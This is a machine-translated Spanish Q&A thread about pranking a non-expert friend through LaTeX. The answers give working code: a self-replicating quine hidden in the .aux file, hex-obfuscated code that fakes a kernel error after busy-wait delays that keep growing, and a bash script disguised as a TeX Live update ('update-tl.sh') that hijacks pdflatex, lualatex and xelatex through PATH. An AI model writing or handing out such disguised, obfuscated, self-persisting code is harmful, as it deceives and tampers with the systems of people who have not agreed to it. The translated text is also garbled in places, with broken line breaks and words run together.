Tengo un amigo que me utiliza para soporte LaTeX. No es muy experto en tecnología, pero le gusta LaTeX, por lo que lo ayudo cuando algo que necesita hacer requiere más que el stock estándar de macros y entornos.
Nos gusta gastarnos bromas unos a otros. Tuve la idea de hacerle una broma la próxima vez que pidiera ayuda de LaTeX haciendo algo relativamente benigno y fácilmente reversible que alteraría notablemente el PDF generado... o hacer algo más notable en el uso normal de (La)TeX, comocompilación prolongada---de una manera no deseada donde la fuente del problema sería difícil de detectar (por lo que sería un caso de trolling de código, supongo). Sin embargo, yo no soy muy bueno con LaTeX, así que pensé en pedir sugerencias creativas a los TeXperts.
¿Cómo puedo hacerle pasar un mal rato a mi amigo relacionado con (La)TeX?
Respuesta1
Agregue a su aux
archivo el siguiente fragmento de código, que es un quine. Cuando el aux
archivo está \input
al comienzo de una ejecución de LaTeX, el código aquí creará una copia de sí mismo y la escribirá en el aux
archivo para la siguiente ejecución. Además, ejecutará el código que se incluye \toks2
a continuación. Por ejemplo, el código que elegí aumenta el tamaño de sangría en cada párrafo, pero sólo si TeX se ejecuta en un minuto impar: los resultados dependen de cuándo compila tu amigo.
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
Después de una ejecución, el aux
archivo contendrá la siguiente versión condensada (en una sola línea)
{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }
y las ejecuciones posteriores dejarán la misma versión condensada (nuevamente en una línea).
Veamos qué sucede en detalle: dentro de un grupo (simple), el registro del token \toks@
se establece en algún valor y luego se utiliza su contenido. ¿Qué hacen esos contenidos? Hay una prueba para comprobar si estamos leyendo el archivo auxiliar al inicio o al final de la ejecución: \@nodocument
es \relax
en el segundo caso y no hacemos nada. Luego, el registro de toks \toks2
se configura con el código que realmente desea realizar. La siguiente \edef\x{...}\x
construcción amplía ...
el
\AtBeginDocument{%
<contents of \toks2>\relax
\toks@{<contents of \toks@>}%
\immediate\write\@auxout{%
{%
\toks@{\the\toks@}%
\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
luego realiza ese código. \AtBeginDocument
ejecutará su argumento un poco más tarde, una vez que LaTeX esté nuevamente listo para escribir en el aux
archivo (actualmente lo está leyendo). Entonces, una vez que LaTeX está listo para escribir en el aux
archivo, ejecuta su código (que se almacenó temporalmente en \toks2
), luego lo almacena <contents of \toks@>
nuevamente \toks@
(este registro de token puede haber sido utilizado por otro código intermedio) y escribe lo siguiente en el archivo. aux
archivo (recuerde que \write
se expande):
{%
\toks@{<contents of \toks@>}%
\the\toks@
}% end of brace group
Este es precisamente el código original, que por tanto acaba en el aux
archivo para la siguiente ejecución de LaTeX.
Con suerte, el código que elegí ingresar \toks2
es bastante fácil de seguir:
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
si el tiempo (en minutos desde el comienzo del día) es un número impar, entonces en cada párrafo, haga lo que ya se hizo en cada párrafo y también avance (aumente) la sangría del párrafo ( \parindent
) en 2 puntos. Por ejemplo, supongamos que agrega el primer o segundo fragmento de código anterior al aux
archivo generado al ejecutar pdflatex
el documento siguiente. Entonces el documento será normal si se compila en un minuto par y, de lo contrario, tendrá una sangría de párrafo cada vez mayor.
\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}
Respuesta2
Compilar con LuaLaTeX
\documentclass{article}
\usepackage{lipsum}
^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20
\begin{document}
\lipsum[1]
\end{document}
También \randomerror
en lugar de \randomuclc
puede ser agradable.
Respuesta3
Siga las instrucciones después de cada ejecución, es posible que haya descubierto algo.:)
Para aquellos que no se atrevieron a intentarlo, lo que hace es producir un mensaje de error (aquí desde un buffer de ayuda de emacs tex), donde el número de página es aleatorio:
ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2
--- TeX said ---
Re-run LaTeX at least three times to give a chance to the kernel
to re-examine this intriguing problem.
You may have encountered one of the $1,000,000 kernel bug.
See the LaTeX manual or LaTeX Companion for explanation.
Type H <return> for immediate help.
...
l.49 \end{document}
--- HELP ---
From the .log file...
You're in trouble here. Try typing <return> to proceed.
If that doesn't work, type X <return> to quit.
y además este mensaje aparece después de retrasos cada vez más prolongados al final de cada nueva compilación (el tiempo de compilación es del orden de n^2/2
segundos donde n
está el número de ejecuciones anteriores).
La conversión hexadecimal para ofuscar el código es un poco larga, tal vez se podrían usar números hexadecimales solo para ofuscar el \input
lugar donde el archivo contendría el siguiente código.
\documentclass{article}
\usepackage{lipsum}
^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72
\begin{document}
\lipsum[1-50]
\end{document}
El código hexa (con espacios al final de las líneas) no
\makeatletter\AtEndDocument{%
\@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
\immediate\write\@auxout
{\gdef\noexpand\@kernelpanictime{%
\the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
65536\relax}}%
\pdfresettimer
\loop
\ifnum\pdfelapsedtime<\@kernelpanictime\space
\repeat
\@latex@error{I'm stymied; problem of unknown type on page
\pdfuniformdeviate 10 ^^J
Re-run LaTeX at least three times to give a chance to the kernel^^J
to re-examine this intriguing problem.^^J
You may have encountered one of the \string$1,000,000 kernel bug}\@ehd
}\makeatother
Respuesta4
Publicado como respuesta en lugar de comentario porque el código es demasiado largo. Basado en la respuesta de Bruno Le Floch, con un pequeño giro insinuado por egreg en el chat.
Añade esto a tu auxiliar:
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\ifdefined\pdf@elapsedtime
\ifodd\pdf@elapsedtime
\advance\parindent 2pt\relax
\else
\advance\parindent -2pt\relax
\fi
\else
\advance\parindent 2pt\relax
\fi
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
Si compila esto con pdflatex
(o lualatex
con el pdftexcmds
paquete cargado), el cambio \parindent
se invierte cada segundo durante la compilación, cualquier otro compilador producirá lo mismo que el código de Bruno.
¿Podrían las cosas empeorar más que esto? ¡Oh, sí, pueden! En lugar de editar el archivo auxiliar directamente (lo que se desharía con una limpieza del directorio de compilación), modifiquemos un poco los ejecutables.
NOTA: Como Daniel mencionó en los comentarios a continuación, trollear a personas no calificadas es realmente malo, así que use un poco de sentido común para juzgar quién podría entender lo que está sucediendo con una mirada más cercana.Además, no asumo responsabilidad alguna por la pérdida de amigos o la desconfianza permanente hacia los scripts que envías ;)
La próxima vez que tu amigo te pida ayuda, envíale este archivo como update-tl.sh
:
#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases
Desafortunadamente, esto solo funciona en Linux y probablemente se solucione fácilmente agregando rutas completas o argumentos adicionales a pdflatex, pero la idea general es la siguiente:
- Obtener la ubicación de los ejecutables originales.
- crear un directorio para almacenar los ejecutables 'actualizados'
- crear una cantidad de archivos, con los permisos adecuados para ejecutar
- en cada archivo verifique si el archivo auxiliar ya existe y, si no, créelo con el código anterior
- luego deje que el nuevo script llame al antiguo ejecutable para generar la salida, con el archivo auxiliar potencialmente alterado
- finalmente agregue este nuevo directorio a la variable de entorno $PATH
Algunos datos curiosos:
- esto solo funciona si
bash
se usa, de lo contrario~/.bashrc
no se usa - el código solo se agrega si el archivo auxiliar aún no existe
- solo funciona después de
~/.bashrc
obtener la fuente, por lo que después de un nuevo inicio de sesión o se abre una nueva ventana de terminal
EDITARAún más datos divertidos:
- ejecutar
which pdflatex
devuelve el originalpdflatex
, mientras quepdflatex test.tex
en realidad ejecuta el nuevopdflatex
- en un sistema multiusuario esto sólo afecta al usuario que ejecuta el
update-tl.sh
- nada está roto permanentemente, simplemente eliminar los
[pdf|lua|xe]latex
scripts~/.tex-updates
y los archivos auxiliares hace que todo vuelva a la normalidad :) (a diferencia de mi idea original de cambiar los ejecutables dentro delbin
directorio :P)